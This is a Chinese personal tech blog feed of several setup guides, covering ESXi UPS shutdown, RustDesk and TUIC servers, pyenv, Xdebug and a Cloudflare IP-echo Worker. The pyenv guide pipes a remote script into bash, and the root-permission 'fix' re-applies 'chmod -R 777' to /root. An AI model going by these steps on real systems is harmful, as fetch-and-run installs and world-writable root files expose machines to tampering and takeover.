--user-agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \ --header='dlm-xhr-request: dlm_XMLHttpRequest' \ --header='sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \ --header='sec-ch-ua-mobile: ?0' \ --header='sec-ch-ua-platform: "macOS"' \ --output-document=NutClient-ESXi.tar.gz tar -xzvf NutClient-ESXi.tar.gz sh upsmon-install.sh /etc/init.d/hostd restart ③自编译并提供邮件发送支持 请参阅本博客中 自编译 NutClient-ESXI, 更改邮件逻辑 文章 本文不再赘述. 配置服务 通过 GUI 登录 ESXi,然后转到 管理 -> 系统 -> 高级设置,然后查找UserVars.nut并更新等待设置的值 UserVars.NutUpsName:ups@IP地址(此IP地址填群晖的地址) UserVars.NutUser:monuser UserVars.NutPassword:secret 1 2 3 4 5 6 7 8 UserVars.NutFinalDelay NUT 在发生低电量事件后等待几秒钟才关闭 UserVars.NutMailTo NUT 向此地址发送邮件通知 UserVars. NutMinSupplies NUT 维持系统运行所需的电源数量 UserVars. NutOnBattery Delay NUT 关机前电池电量不足时的运行秒数(0= 等待电池电量不足事件发生) UserVars.NutPassword NUT 连接远程 ups 的密码 UserVars.NutSendMail NUT 发送邮件通知(1=是 0=否) UserVars. NutUpsName NUT 远程 ups 名称(例如:upsname@nutserver),多个 ups 使用空格作为分隔符 UserVars.NutUser 连接远程 ups 的 NUT 用户名 配置完成后,转到 服务 并查找nutclient,找到列出的服务.启动它并设置它与主机一起启动/停止 注: 每次修改UserVars参数后都要重启NutClient服务才能生效 配置防火墙 如图所示,启动并设置自启动. 1 esxcli network firewall ruleset list | grep NutServer # 如果结果为true,则运行正常 验证连接 命令: 1 /opt/nut/bin/upsc ups@IP地址 得到: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 /opt/nut/bin/upsc ups@IP地址 battery.charge: 100 battery.charge.low: 91 battery.mfr.date: 2001/01/01 battery.runtime: 3618 battery.runtime.low: 120 battery.type: PbAc battery.voltage: 13.6 battery.voltage.nominal: 12.0 device.mfr: American Power Conversion device.model: Back-UPS BK650M2-CH device.serial: 9B2321A02442 device.type: ups driver.name: usbhid-ups driver.parameter.pollfreq: 30 driver.parameter.pollinterval: 5 driver.parameter.port: auto driver.parameter.synchronous: no driver.version: DSM7-1-42464-211216 driver.version.data: APC HID 0.96 driver.version.internal: 0.41 input.sensitivity: low input.transfer.high: 278 input.transfer.low: 160 input.transfer.reason: input voltage out of range input.voltage: 232.0 input.voltage.nominal: 220 ups.beeper.status: enabled ups.delay.shutdown: 20 ups.firmware: 294803G -292804G ups.load: 7 ups.mfr: American Power Conversion ups.mfr.date: 2023/05/22 ups.model: Back-UPS BK650M2-CH ups.productid: 0002 ups.realpower.nominal: 390 ups.serial: 9B2321A02442 ups.status: OL ups.test.result: Done and passed ups.timer.reboot: 0 ups.timer.shutdown: -1 ups.vendorid: 051d 已知BUG: 部分信息不准确.以及部分信息存在错误. 其中最不能接受的是: battery.charge.low.故建议重写notify.sh文件,参考博客文章 自编译 NutClient-ESXI, 更改邮件逻辑 或者我fork项目 NutClient-ESXi 测试 建议:直接看结论,下面内容又丑又长 实测用群晖NAS能够关闭ups,首先达到battery.charge.low的低电量会发FSD信号, 群晖NAS会进入待机模式,大约等待180秒左右(3分钟)关闭UPS电源(关机逻辑很迷.).故我们可根据这个时间为基准来通过不断实测调整NutFinalDelay值,从而达到在ups关机之前,esxi能安全关机,而不是直接断电.为了达到这个目标,下面是测试记录,测试应进行多次,数据应多次记录,并取平均值,如果出现某些数据差异过大,可采用加权之类操作(默认都会概率论.) ① 在ups电量🔋处于设定的低电量🪫之下时,给ups断开市电⚡️的同时,开始计时⌛️,得到数据📊:xxx..等 ② 通过等待⌛️ups电量🔋低于设定的低电量🪫之下时,开始计时⌛️,得到数据📊:xxx..等 综合数据,并不断调整.下面是举例 NutFinalDelay值为170 91->89 耗时85s 群晖不可访问 结束00:01:28总耗时213秒 -> 开始计时(即UPS断电)时间23:57:55 耗时85秒 -> 群晖不可访问模式开始时间23:59:22 耗时128秒 -> UPS断电时间 00:01:28 ESXI在23:58:27同时收到SHUTDOWN和FSD信号 在23:58:22时收到LOWBATT信号 在23:56:00时收到ONBATT信号 测试结果: UPS关机,ESXI未预期关机,NutFinalDelay应小于181,但实际已小于,故该实验数据标记为? NutFinalDelay值为160 2分40秒 00:32:33 电量为91 00:35:10 丢失群晖ups连接 00:37:21 发生未预期断电,即ESXI未安全关机. 第一阶段2分37秒 第二阶段2分11秒 00:35:? 收到群晖GMAIL邮件 (推测,貌似发这个邮件,代表已向UPS发送关机信号.) 00:52:19 丢失群晖ups连接 00:53:27 UPS关机 耗时1分8秒 NutFinalDelay值调整为100,再次实验. 00:54:31 UPS电量达到91触发低电量 00:55:13 收到群晖邮件 00:55:57 丢失群晖ups连接 结果: esxi达到预期关机效果,ups也关机. 但缺陷是:esxi关机后,ups等待较长时间才会关机,故当esxi关机后,ups在未关机之前,市电恢复供应,那么ups将不会关机,由于ups电源未断过,软路由主板并不会自动开机,这种情况只能改进,无法完善解决(除非你是正版群晖,而不是软路由),因为我们设备并不支持ups,我的建议是调整NutFinalDelay值,直到能将时间差缩短至30秒内(增加时间,减少误差,因为轮训需要时间,而每时每刻这个时机都不一样) 继续实验,NutFinalDelay值调整为120,结果发生非预期事件,esxi安全关机,但ups未关机.但已收到群晖邮件提示,根据观察,ESXI貌似比上一次更快地关机,初步判断为群晖未来得及向ups发送关机指令而被esxi关闭.NutFinalDelay值调整为155并重启NutClient服务,再次实验. 结果: 发生非预期事件,esxi未安全关机,ups关机,NutFinalDelay值调整为140并重启NutClient服务,再次实验. 结果: esxi达到预期安全关机效果,ups也关机.时间差约为8秒符合预期,因未对数据进行更详细记录,再次进行更准确实验. 软路由完全关机到ups断电时间间隔约为10秒.esxi发出关机指令到软路由完全关机用时约23秒,从群晖ups连接断开到esxi发出关机指令用时约95秒. 结果: esxi达到预期安全关机效果,ups也关机. 时间差符合预期,故将NutFinalDelay值调整为148并重启NutClient服务,进行最后一次准确实验,若符合预期则采用该值. 从esxi发出关机指令到ups断电用时约33秒,软路由在关机过程中,ups断电导致未完全关机. 结果: 发生非预期事件,esxi未安全关机,ups关机,NutFinalDelay值调整为143并重启NutClient服务,再次实验. 实验: 在ups电量在低于91的情况下,切断市电并开始计时,用命令行每秒时刻监控群晖ups连接情况,用网页监控esxi发生关机 看计时器可以知道经过2分57秒软路由完全关机 esxi发送关机指令, 翻命令日志开始计算: 06:11:38 UTC丢失群晖ups连接. 06:11:54 UTC对应计时为02:23.76 ESXI发送关机指令时间为 14:12:04 CST.我们可以得到: 断开ups电源到丢失群晖ups连接用时约为127秒 丢失群晖ups连接到ESXI发送关机指令用时约为26秒 易得 断开ups电源到ESXI发送关机指令用时约为153秒,根据我们NutFinalDelay值143可得10秒差. 结果: 发生非预期事件,esxi安全关机,ups未关机,但恢复市电也会重启电源,故软路由也会启动.尝试将NutFinalDelay值调整为145并重启NutClient服务,再次实验.但本次实验采用冷测试,不采用命令监控,网页监控等,模拟真实情况,仅仅做软路由断电时间与ups断电时间记录.由于ups电量未恢复到安全电量之上,故将等待ups电量恢复,当恢复到91以上时,进行断开市电操作. 结果: 应该没问题,误差1秒,故决定将NutFinalDelay值设置为144秒 经过实际测试,发现即使ups恢复市电,esxi和ups也会关机,但ups会重启供电(又测试了一次,不会),故上面提到的缺陷可能不存在. 当NutFinalDelay值设置好后,存在的缺陷是若在esxi未关机之前恢复供电,群晖会重启,但esxi延迟关机缺不会中止,甚至群晖还没来得及启动成功,esxi就关机了.解决办法: 在执行关机命令之前判断群晖的CPU使用是否大于300MHZ,如果大于则代表已恢复供电不进行关机,并启动已关机的虚拟机. 发现,即使ups未关机,恢复市电也会重启电源,故软路由也会重启,所以我上面哪些测试貌似多余的?👉🤡小丑竟是我自己?!(应该是我搞错了?难道是ups里面有定时关机,但还没到时间,然后恢复市电,会重启供电?不清楚,反正现在没大问题了.) 若发现某些数据与数据结果之间产生冲突,通过排查分析,原因可能有 曾安装过旧版程序未使用旧版程的vib序进行卸载,而是直接采用新版程序的vib进行升级,导致某些错误,ESXI未正常关机不会保存设置的NutFinalDelay值数据,修改数值后未能成功重启服务等. 解决并验证,使用旧版程的vib序进行卸载并重启,拉取最新版仓库代码然后编译出文件进行安装,安装后根据本文内容进行设置,设置好后,esxi进行安全关机操作,然后开机看看设置是否生效,修改文件是否成功等.如果修改NutFinalDelay值,建议刷新网页看看修改是否成功,如果重启服务,建议先关闭,再刷新网页看看关闭是否成功再启动 没问题再进行测试. 综上所示,经过多次类似记录与分析,得到基于我的设备的较为稳定且安全的数值结果: 结论 NutFinalDelay值: 144 如果你参阅了本博客中 自编译 NutClient-ESXI, 更改邮件逻辑 文章并使用了自编译的方式,那么在询问你是否(y/n)需要ESXI关机前查询群晖CPU使用情况?的时候,请输入y然后回车即可. 能够达到下面👇的效果 ① 市电⚡️一直不恢复↩️ ups🔋到低电量🪫时,群晖会进入待机模式(大概过会就会发送ups延迟关机信号),esxi会(通过ssh调用命令)关闭一些不支持安全关机的设备,等待NutFinalDelay值的时间(实际上不准确,要比这个值大).然后安全关闭esxi和软路由.大概过10秒左右,ups自动关机 ② 市电⚡️在群晖待机模式中恢复供电,且群晖还未向ups发送延迟关机信号 这种情况,群晖会重启,那么群晖cpu使用绝对会高于100MHz,而自编译程序中在关机前会对群晖cpu使用情况进行判断,所以将不会关机(你还可以写一些命令来启动一些被关闭的虚拟机).待群晖启动后,能给esxi upsmon提供ups信息. ③ 市电⚡️在群晖待机模式中恢复供电,且群晖已向ups发送延迟关机信号 这种情况,群晖不会重启,因为ups将会延迟关机,我们只需等待esxi和软路由安全关闭后,再等待大概10秒左右,ups将重启电源.如果你在软路由主板中设置了来电启动,那么将成功自启动. 效果预览 没有实际预览,贴几张邮件图吧(注:来自自编译的方式). 可能用到的垃圾代码: 1 while true; do sleep 1; echo $(date);/opt/nut/bin/upsc ups@IP地址 battery.charge ;done

2023/7/24
articleCard.readMore

在arch linux上搭建rustdesk server

前言 项目: rustdesk-server 官方文档: https://rustdesk.com/docs/en/self-host/install/ 之前搭建的版本太低了,而且搭建方式不能自动更新,故打算用新方法搭建. 前提:在arch Linux上正确安装yay 其他自动安装项目:rustdeskinstall 安装 1 yay -S rustdesk-server-bin 安装后程序位置:/opt/rustdesk-server rustdesk-server-hbbs.service和rustdesk-server-hbbr.service位置: 在/usr/lib/systemd/system目录下. 以后在运行命令yay -Syu更新系统时也会更新rustdesk-server-bin 旧版安装 采用pm2进行管理 先去https://github.com/rustdesk/rustdesk-server/releases下载对应系统架构的的rustdesk-server 下面是有关说明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 hbbs - RustDesk ID注册服务器 hbbr - RustDesk 中继服务器 pm2 start hbbs -- -r <relay-server-ip[:port]> hhbs的-r参数不是必须的,他只是方便你不用在客户端指定中继服务器,如果是默认21117端口,可以不填port。客户端指定的中继服务器优先级高于这个 pm2 start hbbr 查看log pm2 log hbbr pm2 log hbbs hbbs/hbbr 在重启后自动运行: 使用您在服务器启动/重新启动时管理的进程重新启动 PM2 至关重要。要解决这个问题,只需运行此命令以生成一个活动的启动脚本: pm2 startup 并冻结自动重生的进程列表: pm2 save 默认情况下,hbbs 监听21115(tcp), 21116(tcp/udp), 21118(tcp),hbbr 监听21117(tcp), 21119(tcp)。务必在防火墙开启这几个端口, 请注意21116同时要开启TCP和UDP。其中21115是hbbs用作NAT类型测试,21116/UDP是hbbs用作ID注册与心跳服务,21116/TCP是hbbs用作TCP打洞与连接服务,21117是hbbr用作中继服务, 21118和21119是为了支持网页客户端。如果您不需要网页客户端(21118,21119)支持,对应端口可以不开。 TCP(21115, 21116, 21117, 21118, 21119) UDP(21116) 如果你想选择自己的端口,使用 “-h” 选项查看帮助 同上个版本不同,本版本中的key是强制的,但是不用你自己设置。hbbs在第一次运行时,会自动产生一对加密私钥和公钥(分别位于运行目录下的id_ed25519和id_ed25519.pub文件中),其主要用途是为了通讯加密。 如果您在上一步骤中没有填写Key:(公钥文件id_ed25519.pub中的内容),不影响连接,但是连接无法加密。 cat ./id_ed25519.pub 如果您禁止没有key的用户建立非加密连接,请在运行hbbs和hbbr的时候添加-k _ 参数,例如: ./hbbs -r <relay-server-ip[:port]> -k _ ./hbbr -k _ 如果要更改key,请删除 id_ed25519 和 id_ed25519.pub 文件并重新启动 hbbs/hbbr,hbbs将会产生新的密钥对 更新 PM2 我们让它变得简单,版本之间没有重大变化,过程很简单: npm install pm2@latest -g 然后更新内存中的 PM2 : pm2 update pm2文档: https://pm2.keymetrics.io/docs/usage/quick-start/ rustdesk文档: https://rustdesk.com/docs/zh-cn/self-host/

2023/7/22
articleCard.readMore

解决虚拟机扩容中GPT PMBR大小不符问题

前言 小小的服务器空间不够用了,在esxi中多分配了一些(注:扩容前需确保无快照),但还需要在虚拟机中手动扩容,不然就是GPT PMBR 大小不符的错误. 记录📝一下操作过程 本文感谢极其先进的AI—“ChatGPT”提供支持🎉. ⚠️注意:请提前进行快照等方式进行备份,操作有风险! 开搞 先fdisk --list-details看看分区列表相关信息 看你希望扩展的分区是那个,我的是/dev/sda3,后面都以这个为例 然后命令parted /dev/sda 然后输入print,可以看到磁盘 /dev/sda 多少个GB 然后输入resizepart 3 然后输入你想要的大小(例如:42.9GB),不超过硬盘最大空间 然后输入quit 可选: 接下来检查,先cat /etc/fstab看看/dev/sda3的UUID和命令blkid /dev/sda3得到的UUID是否一样.不一样的话,修改/etc/fstab 最后resize2fs /dev/sda3然后reboot重启就OK了

2023/7/9
articleCard.readMore

搭建Tuic V5

前言 本文内容基于开源项目 tuic 精巧的TUICed 0-RTT代理协议,以cloudflare作为域名解析服务,surge作为代理端. 你需要至少有: VPS 域名 点开发布链接可以看到最新版,建议以最新版为准,可替换本文中出现的链接. 搭建 配置 首先更新软件源,并创建tuic文件夹 1 2 3 apt update -y apt -y install wget mkdir /opt/tuic && cd /opt/tuic 获取服务端程序并赋予权限 用name -a命令查看linux架构 GNU和musl是两种不同的C库(C standard library)实现,下面用musl库,因为它具有更小的内存占用和更快的启动时间. amd 1 2 wget https://github.com/EAimTY/tuic/releases/download/tuic-server-1.0.0/tuic-server-1.0.0-x86_64-unknown-linux-musl -O /opt/tuic/tuic-server chmod +x /opt/tuic/tuic-server arm 1 2 wget https://github.com/EAimTY/tuic/releases/download/tuic-server-1.0.0/tuic-server-1.0.0-aarch64-unknown-linux-musl -O /opt/tuic/tuic-server chmod +x /opt/tuic/tuic-server 接下来建立服务端配置 1 2 cat /proc/sys/kernel/random/uuid # 获取UUID,后面记得替换 vim /opt/tuic/config.json # 将下面json内容修改后粘贴进来 稍微分别翻译一部分意思吧,详细完整请看配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // 用于监听的套接字地址,默认443,如果端口被占用可以换成其他,建议用其他的端口,另外tuic暂不支持回落 // 用户列表,包含用户UUID和密码 // 证书文件的路径 // 私钥文件的路径 // 可选。拥堵控制算法,可用选项: // "cubic", "new_reno", "bbr" // 默认:"cubic" ,个人推荐 "bbr" // 可选。应用层协议的协商 // 默认为空(无ALPN) // 可选。如果服务器应该为中继IPv6 UDP数据包创建单独的UDP套接字 // 默认:true // 可选。在服务器端启用0-RTT QUIC连接握手。 // 这对性能影响不大,因为该协议是完全复用的。 // 警告:强烈建议禁用该功能,因为它容易受到重放攻击。参见https://blog.cloudflare.com/even-faster-connection-establishment-with-quic-0-rtt-resumption/#attack-of-the-clones // 默认值:false 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { "server": "[::]:443", "users": { "00000000-0000-0000-0000-000000000000": "PASSWORD_0" }, "certificate": "/opt/tuic/fullchain.pem", "private_key": "/opt/tuic/privkey.pem", "congestion_control": "bbr", "alpn": ["h3", "spdy/3.1"], "udp_relay_ipv6": true, "zero_rtt_handshake": false, "auth_timeout": "3s", "max_idle_time": "10s", "max_external_packet_size": 1500, "gc_interval": "3s", "gc_lifetime": "15s", "log_level": "warn" } 创建systemd 1 vim /lib/systemd/system/tuic.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [Unit] Description=Delicately-TUICed high-performance proxy built on top of the QUIC protocol Documentation=https://github.com/EAimTY/tuic After=network.target [Service] User=root WorkingDirectory=/opt/tuic ExecStart=/opt/tuic/tuic-server -c config.json Restart=on-failure RestartPreventExitStatus=1 RestartSec=5 [Install] WantedBy=multi-user.target 1 2 3 systemctl daemon-reload # 重新加载系统管理守护进程(systemd) 的配置文件 systemctl enable --now tuic.service # 启动tuic服务并设置开机自启 systemctl status tuic.service # 查看状态 证书 申请证书 本博客有用开源工具 acme.sh 通过DNS来自动化证书续期的教程.本文这里用另外一个开源工具 certbot 先去域名解析网站将xx.xxx.xx域名解析到你这个VPS的IP上. 下面示例并不是DNS验证,而是通过80端口验证(standalone插件) example@gmail.com 换成你的邮箱 xx.xxx.xx 换成你的域名 1 2 3 4 5 6 7 apt -y install certbot # 安装certbot certbot certonly \ --standalone \ --agree-tos \ --no-eff-email \ --email example@gmail.com \ -d xx.xxx.xx 通过systemd timer定时更新证书 1 2 systemctl enable --now certbot.timer # 启动并设置开机自动启动 systemctl status certbot.timer # 查看状态 1 2 3 # 创建软连接 ln -s -v /etc/letsencrypt/live/vless3.lanyundev.com/fullchain.pem /opt/tuic/fullchain.pem ln -s -v /etc/letsencrypt/live/vless3.lanyundev.com/privkey.pem /opt/tuic/privkey.pem 添加bash脚本用于续订证书后自动重启tuic 1 vim /etc/letsencrypt/renewal-hooks/post/tuic.sh 1 2 3 #!/bin/bash systemctl restart tuic.service 1 chmod +x /etc/letsencrypt/renewal-hooks/post/tuic.sh 额外记录一下: 证书sha256指纹获取: 1 openssl x509 -noout -fingerprint -sha256 -inform pem -in /opt/tuic/fullchain.pem 简单用法 1 2 3 4 5 6 7 8 9 10 # 查看证书列表 certbot certificates # 手动续订,后面--manual哪些都是可选 certbot renew --manual --preferred-challenges dns --manual-auth-hook "/脚本目录/au.sh python txy add" --manual-cleanup-hook "/脚本目录/au.sh python txy clean" # 使用 crontab 定时更新证书,示例 # 注意只有成功 renew 证书,才会重新启动 Nginx 1 1 */1 * * root certbot-auto renew --manual --preferred-challenges dns --deploy-hook "service nginx -s reload" --manual-auth-hook "/脚本目录/au.sh php aly add" --manual-cleanup-hook "/脚本目录/au.sh php aly clean" # 撤销证书 sudo certbot revoke --cert-name example.com sudo certbot revoke --cert-path /etc/letsencrypt/live/example.com/cert.pem 后续有机会更新吧,

2023/7/6
articleCard.readMore

优雅地为macOS提供python多版本的支持

前言 面对多个Python开发项目时,需要针对不同的项目创建相应的开发环境 本来已经通过python官方网站上的安装包实现了python 2的支持,通过brew安装实现了最新版python的支持,但不够优雅.(安装软件包会污染环境) 本教程使用pyenv工具及其插件,来优雅地管理和切换Python版本.下面以安装python 2.7.18为例,因为macOS系统不再内置和brew不再提供python 2.故方便给需要安装python 2的用户看看. 不想整pyenv?懒得看? 下面这段命令适合你: 1 2 3 python -m venv .venv # 使用python(注意版本,例如python3等)在当前路径下.venv中创建虚拟环境 source .venv/bin/activate # 激活虚拟环境,之后的pip,python等操作都不会污染环境 deactivate # 离开虚拟环境 安装pyenv 终端输入下面命令 1 2 curl https://pyenv.run | bash # 安装pyenv,并内置插件 git clone https://github.com/pyenv/pyenv-pip-migrate.git $(pyenv root)/plugins/pyenv-pip-migrate # 不需要迁移软件包,可以不用安装 设置系统变量PATH 如果你的SHELL是zsh的话,可以看下面我的配置,bash一样 在.zshrc 文件末尾处追加添加下面内容.(.zprofile也可以) 1 2 3 4 5 6 7 # pyenv export PYENV_ROOT="$HOME/.pyenv" command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" # pyenv-virtualenv eval "$(pyenv virtualenv-init -)" 最后source ~/.zshrc 安装Python 1 pyenv install 2.7.18 基本用法 1 2 3 4 5 6 7 pyenv local 2.7.18 # 在当前项目目下,设置项目级别的Python版本,即在当前目录使用python为你指定的2.7.18的版本.注:后可接多个版本号 pyenv virtualenv XX XXX # XX:python版本,如果运行了上面命令可以省略,XXX:virtualenv目录的名称 # 即 在$(pyenv root)/versions 目录下创建一个基于 Python XX 的 virtualenv XXX pyenv local ChatGLM2 # 设置项目版本并激活pyenv virtualenv,之后进入这个目录会自动激活. # 如果不想要自动激活请在上面PATH中删除eval "$(pyenv virtualenv-init -)",或者设置项目版本为其他. pyenv activate XXX # 激活pyenv virtualenv pyenv deactivate XXX # 停用pyenv virtualenv,代替命令:source deactivate 常用命令 列出可用的Python版本(含virtualenv): 1 pyenv versions 列出现有的virtualenv: 1 pyenv virtualenvs 更新: 1 pyenv update 删除virtualenv 去$(pyenv root)/versions目录下删除或者运行下面命令 1 2 pyenv uninstall XXX # 或者 pyenv virtualenv-delete XXX # 或者rm -rf ~/.pyenv/versions/XXX 卸载: pyenv安装在$PYENV_ROOT (默认~/.pyenv:)内。要卸载,只需将其删除: 1 rm -fr ~/.pyenv 然后在.zshrc文件中删除上面添加的内容. 迁移软件包 1 2 3 4 # 示例: pyenv migrate 3.6.0 3.7.0 # 将 Python 3.6.0 的所有 pip 包迁移到 Python 3.7.0 pyenv global # 切换全局python版本,不建议这样操作,一般默认system就好. pip freeze # 查看有的安装包 查询所有命令 1 pyenv commands 验证 pyenv 安装的命令和构建 python 1 pyenv doctor

2023/7/3
articleCard.readMore

修复root路径下文件权限问题

前言 由于不小心的误操作.在root路径下以root身份执行了chmod -R 777 .从而导致ssh挂掉,oh my zsh插件不工作等问题. 故写水篇文章,记录一下基本修复过程. 进入终端 关于如何在ssh失效的情况下进入终端,请自行解决.(还好😅我留了个特殊后门,不然真G了) 运行下面👇命令即可完成基本修复 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cd /root chmod -R 700 .ssh chmod -R 755 .oh-my-zsh chmod -R 777 . chmod 600 .ssh/authorized_keys chmod 700 .cache chmod 700 .gnupg chmod 755 .oh-my-zsh chmod 755 .config chmod 755 .. chmod 644 .ssh/known_hosts chmod 644 .ssh/known_hosts.old chmod 700 .ssh/.. chmod 600 .ssh/id_rsa chmod 644 .ssh/id_rsa.pub compaudit | xargs chmod g-w,o-w source ~/.zshrc 最后建议reboot一下.

2023/7/1
articleCard.readMore

解决macOS 14上利用Whisky运行steam时有关问题

前言 WWDC 23上发布macOS 14上,其中的Game Porting Toolkit很有意思,支持DX 12游戏,刚好Whisky构建的Wine提供易于使用的图形包装器,故写篇文章记录一下遇到的问题.(wine上问题类似) wine版本:7.7.0 Whisky版本:1.0.0 不建议搞,因为crossover 23 已经发布,支持DX12 直接可以玩了: https://macked.app/crossover.html 注⚠️: 本文内容已过期! 建议用crossover 23正式版 steam安装 通过crossover安装好再移动到Whisky 字体模糊 MBP基本都用的 Retina 显示屏,而 Wine 没有使用“真实”分辨率,故字体模糊. 解决(启用 Retina 支持): 打开注册表编辑器(wine regedit) 1 HKEY_CURRENT_USER\Software\ 创建名为“Mac Driver”的文件夹,并在新文件夹中创建一个名为 RetinaMode 的新字符串值。将 RetinaMode 的值编辑为”y“ 关闭注册表编辑器然后打开 Wine 配置对话框(winecfg): 由于启用了 Retina 支持,窗口现在将非常小。导航到图形并选择 220 (建议根据实际情况调整,例如我更新之后需调成120) dpi 的屏幕分辨率缩放。 关闭 Wine 配置对话框并重新启动 wine (wineboot): 中文字体乱码问题 虚拟机windows/Fonts文件夹下复制下面这个文件到wine中如图所示目录下. 现提供文件: SIMSUN.TTC steam登陆窗口问题 参考:https://github.com/IsaacMarovitz/Whisky/issues/41 登陆 Mac 版 Steam 然后复制如图所示文件夹到/Users/??/Library/Containers/com.isaacmarovitz.Whisky/Bottles/Steam/drive_c/Program Files (x86)/Steam/下,也就是Whisky中对应Bottle中steam文件夹中.

2023/6/19
articleCard.readMore

在macOS中用PhpStorm配置Xdebug调试

前言 有亿亿点点久没有写博客了 (开摆了、😭) 本文主要记录📝如何在macOS中从零开始用PhpStorm配置Xdebug调试. 官方文档参考: 配置Xdebug | PhpStorm 文档 零配置调试 | PhpStorm 文档 Xdebug: Documentation » Installation Xdebug: Documentation » All settings 环境(截止文章发布为最新版): macOS 13.4 Beta版(22F5059b) PHP 8.2.5 (cli) (built: Apr 13 2023 17:59:46) (安装:brew install php) Xdebug v3.2.1, Copyright (c) 2002-2023, by Derick Rethans PhpStorm 2023.1.1 Build #PS-231.8770.68, built on April 28, 2023 配置 Xdebug 安装Xdebug 1 2 3 mkdir /opt/homebrew/lib/php/pecl arch -arm64 sudo pecl install xdebug # ARM架构(苹果芯片)用户 arch -x86_64 sudo pecl install xdebug # 非ARM架构,也可用命令pecl install xdebug 记录📝文件位置 zend_extension="/opt/homebrew/Cellar/php/8.2.5/pecl/20220829/xdebug.so" 查找php.ini位置 1 php --ini 路径:/opt/homebrew/etc/php/8.2/php.ini 编辑php.ini文件 1 2 3 4 5 6 zend_extension="xdebug.so" xdebug.mode=debug xdebug.client_host=127.0.0.1 xdebug.client_port="9003" xdebug.start_upon_error=yes# 可选 xdebug.idekey=PHPSTORM# 可选 提供2种方案,第一种直接调试,方便快捷,第二种,通过web服务器方式,略显麻烦. 在PhpStorm中配置Xdebug 配置服务器端口:9002 (采用方案一可跳过) 配置DBGp代理 至此,IDE的配置完成,接下来在项目中进行单独配置. 项目中配置Web服务器 (采用方案一可跳过) 接下来开启PHP调试连接,然后运行这个web服务器(即本地调试) 在浏览器上激活调试器 在Chrome浏览器中安装此插件 Xdebug helper - Chrome 应用商店 可帮助你设置一个特殊的GET/POST或COOKIE参数来启动和停止调试引擎. 例如下图,处于Debug状态可帮助你直接在浏览器中访问而无需带上参数,例如:http://localhost:9002/phpinfo.php 需注意一点,若采用方案一,第一次调试会弹出对话框,对话框中可以选择路径映射,以便PhpStorm可以将Web服务器上的远程文件映射到项目中的本地文件.但一般不用管,直接接受就行了.

2023/5/6
articleCard.readMore

利用CloudFlare Workers快速自建一个IP获取器

前言 本文主要记录如何快速为自己的网站建立一个安全的ip获取器. 关于前面的一些设置Workers操作可以看这篇文章 本文主要给出代码. 代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 // 内容参考:https://blog.dsrkafuu.net/post/2020/cloudflare-worker-cors-anywhere/ // 允许请求的 CORS 来源及其Referer const ALLOWED_ORIGIN = [/^https:\/\/lanyundev\.com\/$/]; // 是否不拒绝所有无 Origin 请求 const ALLOW_NO_ORIGIN = false; // 允许请求的 Referer const ALLOWED_Referer = [/^https:\/\/lanyundev\.com\/$/]; // 是否不拒绝所有无 Referer 请求 const ALLOW_NO_Referer = false; // 缓存控制 const CACHE_CONTROL = 'public, max-age=2592000'; //30天缓存 // no-cache, must-revalidate /** * 验证 Origin * @param {Request} req * @return {boolean} */ function validateOrigin(req) { const origin = req.headers.get('Origin'); if (origin) { for (let i = 0; i < ALLOWED_ORIGIN.length; i++) { if (ALLOWED_ORIGIN[i].exec(origin)) { return true; } } } return ALLOW_NO_ORIGIN; // 是否拒绝所有无 Origin 请求 } /** * 验证 Referer */ function validateReferer(req) { const Referer = req.headers.get('Referer'); if (Referer) { for (let i = 0; i < ALLOWED_Referer.length; i++) { if (ALLOWED_Referer[i].exec(Referer)) { return true; } } } return ALLOW_NO_Referer; // 是否拒绝所有无 Referer 请求 } /** * 响应 CORS OPTIONS 请求 * @param {Request} req 源请求 * @return {Response} */ function handleOptions(req) { const rawOrigin = req.headers.get('Origin'); const rawMethod = req.headers.get('Access-Control-Request-Method'); const rawHeaders = req.headers.get('Access-Control-Request-Headers'); const res = new Response(null, { status: 200 }); res.headers.set('Access-Control-Allow-Origin', rawOrigin); rawMethod && res.headers.set('Access-Control-Allow-Methods', rawMethod); rawHeaders && res.headers.set('Access-Control-Allow-Headers', rawHeaders); res.headers.set('Access-Control-Max-Age', 86400); res.headers.set('Content-Type', 'application/javascript; charset=utf-8'); // 设置 Vary 头使浏览器正确进行缓存 res.headers.append('Vary', 'Accept-Encoding'); res.headers.append('Vary', 'Origin'); // res.headers.append('Vary', 'User-Agent'); //防止移动客户端误用桌面缓存 return res; } /** * 拒绝请求 * @return {Response} */ function handleReject() { //return new Response(null); //return null; return new Response('[LanYun_Blog] REQUEST NOT ALLOWED', { status: 403, }); } addEventListener("fetch", event => { // 获取请求的信息 const req = event.request; // 验证和解析 const validOrigin = validateOrigin(req); const origin = req.headers.get('Origin'); //const ip_host = req.headers.get('authority'); const validReferer = validateReferer(req); if ( ( validReferer) || (validOrigin && validReferer && origin) ) { if (req.method === 'OPTIONS') { event.respondWith(handleOptions(req)); } else { event.respondWith(handleRequest(req)); } } else { return; event.respondWith(handleReject()); } }) async function handleRequest(request) { const rawOrigin = request.headers.get('Origin'); const ip = request.headers.get("cf-connecting-ip") res = new Response('var returnCitySN = {"cip": "' + ip + '"};', { status: 200 }) res.headers.set('Access-Control-Allow-Origin', 'https://lanyundev.com/'); res.headers.set('Cache-Control', CACHE_CONTROL); res.headers.set('Access-Control-Max-Age', 86400); res.headers.set('Content-Type', 